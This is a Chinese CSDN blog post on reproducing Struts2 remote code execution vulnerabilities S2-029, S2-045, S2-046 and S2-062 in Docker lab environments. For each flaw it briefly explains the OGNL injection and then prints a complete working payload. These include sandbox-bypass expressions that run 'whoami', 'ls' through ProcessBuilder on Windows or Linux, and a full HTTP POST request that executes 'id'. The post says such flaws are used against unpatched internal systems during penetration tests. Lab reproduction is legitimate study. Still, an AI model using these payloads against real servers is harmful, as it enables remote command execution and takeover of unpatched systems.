热门框架漏洞--Struts2

本文详细介绍了Struts2框架中的几个重要安全漏洞(S2-029,S2-045,S2-046,S2-062),包括漏洞原理、复现步骤和利用手段,强调了及时修补这些漏洞的重要性。
摘要由CSDN通过智能技术生成

一、Struts2

Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站。

struts框架本身分为三个部分:核心控制器FilterDispatcher、业务控制器Action和用户实现的
企业业务逻辑组件

随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前困难很多,从实际了解的情况来看,大部分用户早就修复了历史的高危漏洞。

目前在做渗透测试时,Struts2漏洞主要也是碰碰运气,或者是打到内网之后用来攻击没打补丁的系统会比较有效

二、框架特征

查看被测应用系统的源码,URL接口地址以 “.action” “.do”结尾或地址中包含“!”符号

在被测应用的服务器上查看应用所在目录/WEB-INF/lib/下的jar文件,若存在struts2-core-2.*.**.jar或xwork-core-2.*.**.jar格式的jar文件,则需检测是否存在Struts2远程代码执行漏洞

三、S2-029漏洞复现

影响版本:Struts 2.0.0 - 2.3.24.1(不包括2.3.20.3)

1、漏洞原理

Struts2的标签库使用OGNL表达式来访问ActionContext中的对象数据。为了能够访问到
ActionContext中的变量,Struts2将ActionContext设置为OGNL的上下文,并将OGNL的跟对象加入ActionContext中。

在Struts2中,如下的标签就调用了OGNL进行取值。<p>parameters: <s:property value="#parameters.msg" /></p>Struts2会解析value中的值,并当作OGNL表达式进行执行,获取到parameters对象的msg属性

2、漏洞复现

①拉取环境

docker pull medicean/vulapps:s_struts2_s2-029

②启动漏洞环境

docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-029

③访问

④利用工具

⑤手动

(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))

四、S2-045/046漏洞复现

1、漏洞原理

Struts 2默认使用org.apache.struts 2.dispatcher.multi part.Jakarta Multi Part Request 类对上传数据进行解析,其在处理Content-Type时如果获得非预期的值的话,将会抛出一个异常。在处理异常的过程中会对错误信息进行OGNL表达式解析。如果错误信息中包含恶意语句,语句将被执行。

S2-045只有一种触发形式,就是将OGNL表达式注入到HTTP头的Content-Type

S2-046则有两种利用形式,第一是Content-Length 的长度值超长,第二是Content-Disposition的filename存在空字节,但两种触发形式其OGNL表达式注入点都是Content-Disposition的filename中。

2、S2-045

①启动环境

②查看端口

③访问环境

④工具利用

⑤手工

poc

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(100*5000)).(#ros.flush())}

3、S2-046

 ①启动环境

②查看端口

③访问环境

④工具利用

⑤手工

poc

"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b"

进行00截断

五、S2-062漏洞复现

1、漏洞原理

Struts2会对某些标签属性(比如id,其他属性有待寻找)的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行

2、漏洞复现

 ①启动环境

②查看端口

③访问环境

④手工

poc

POST /index.action HTTP/1.1
Host: 192.168.111.129:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 827

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值